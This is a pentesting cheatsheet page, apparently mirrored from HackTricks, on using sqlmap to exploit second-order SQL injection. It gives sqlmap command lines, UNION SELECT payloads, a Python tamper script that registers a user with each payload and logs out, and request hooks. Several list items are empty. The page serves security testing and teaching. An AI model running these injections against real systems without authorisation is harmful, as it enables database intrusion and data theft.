repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
second-order-injection-sqlmap.mdMarkdown177 lines9.4 KiBsource raw download

title: "Second-Order Injection with sqlmap" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Second-Order Injection with sqlmap#

sqlmap can exploit second-order SQL injections.
You need to provide:

The request where the SQL injection payload is saved is indicated as in any other injection in sqlmap. The request where sqlmap can read the output/execution of the injection can be indicated with --second-url or with --second-req if you need to indicate a complete request from a file.[2]

Simple second-order example:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

Finding and confirming the delayed sink#

Do not stop testing when the request that stores a value succeeds. Create a record containing an unmatched delimiter such as ', then visit every view, export, moderation, or details endpoint that later consumes that record. If the value remains stored but one of those consumers returns an SQL error, truncates its HTML where the record should be rendered, or otherwise fails, the vulnerable query is probably in that second processing step.[3]

For a reflected UNION sink, increment the number of selected markers until the delayed page renders again, then replace markers individually with functions such as version() or user() to locate reflected columns. This confirmation must be repeated through the full store → retrieve → execute flow for every payload attempt.[3]

' UNION SELECT 1,2,3-- -
' UNION SELECT 1,2,3,4,5-- -
' UNION SELECT version(),user(),3,4,5-- -

When the storage response redirects to the sink#

Sometimes the storage POST returns a redirect whose Location is the newly created record, and that destination immediately evaluates the stored value. In that specific flow, sqlmap can observe the second-order result by following the per-attempt redirect, so a fixed --second-url or --second-req is not required. Save a benign authenticated storage request and target the stored parameter; if the UNION technique is already known, restricting the test reduces noise.[3]

sqlmap -r create.req -p stored_parameter --technique U

When prompted, follow the redirect, but answer no to resending the original POST body if the destination is a GET-only details page. This makes sqlmap request the generated Location as the consumer request instead of replaying the creation body against it. A negative basic heuristic is not decisive here because the first response only stores the payload; let the selected technique test the redirected response.[3]

If the redirect does not reach the actual consumer, the record requires another action, or the trigger URL is not returned dynamically, fall back to --second-url, --second-req, or a helper script for the extra state transitions.[1][3]

In several cases this won't be enough because you will need to perform other actions apart from sending the payload and accessing a different page.

When this is needed, you can use a sqlmap tamper script. For example, the following script registers a new user using the sqlmap payload as the email address and then logs out.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def login_account(payload):
    proxies = {'http':'http://127.0.0.1:8080'}
    cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

    params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
    url = "http://10.10.10.10/create.php"
    pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

    url = "http://10.10.10.10/exit.php"
    pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    login_account(payload)
    return payload

A sqlmap tamper function runs for each payload transformation attempt and must return a payload. In this case the auxiliary requests matter, so the function returns the payload unchanged.[1]

So, if for some reason we need a more complex flow to exploit the second order SQL injection like:

This sqlmap line will help:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Executes the tamper for each SQL injection payload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request that executes the SQLi and returns the output
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Retrieve everything; use only when the engagement scope permits it

Useful switches in real second-order flows#

Second-order automation usually fails because the payload storage request works, but the execution request is noisy, stateful, or protected. When that happens, the following flags are usually more useful than adding more payloads:[1]

sqlmap -r login.txt -p email \
  --second-req second.txt \
  --csrf-token csrf \
  --csrf-url https://target.tld/profile \
  --csrf-method POST \
  --live-cookies cookies.txt \
  --safe-req keepalive.txt \
  --safe-freq 1 \
  --string "Welcome back" \
  --text-only

When --tamper is not enough#

tamper.py is still the easiest way to register a payload, log out, log in again, and trigger execution. However, on modern targets it is often cleaner to move some of the logic to request/response hooks:[1]

Example request/response hooks:

#!/usr/bin/env python
def preprocess(req):
    if req.data:
        req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
    page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
    return page, headers, code

Important limitations#

This pattern is especially useful when the payload is stored in places such as:[2]

References#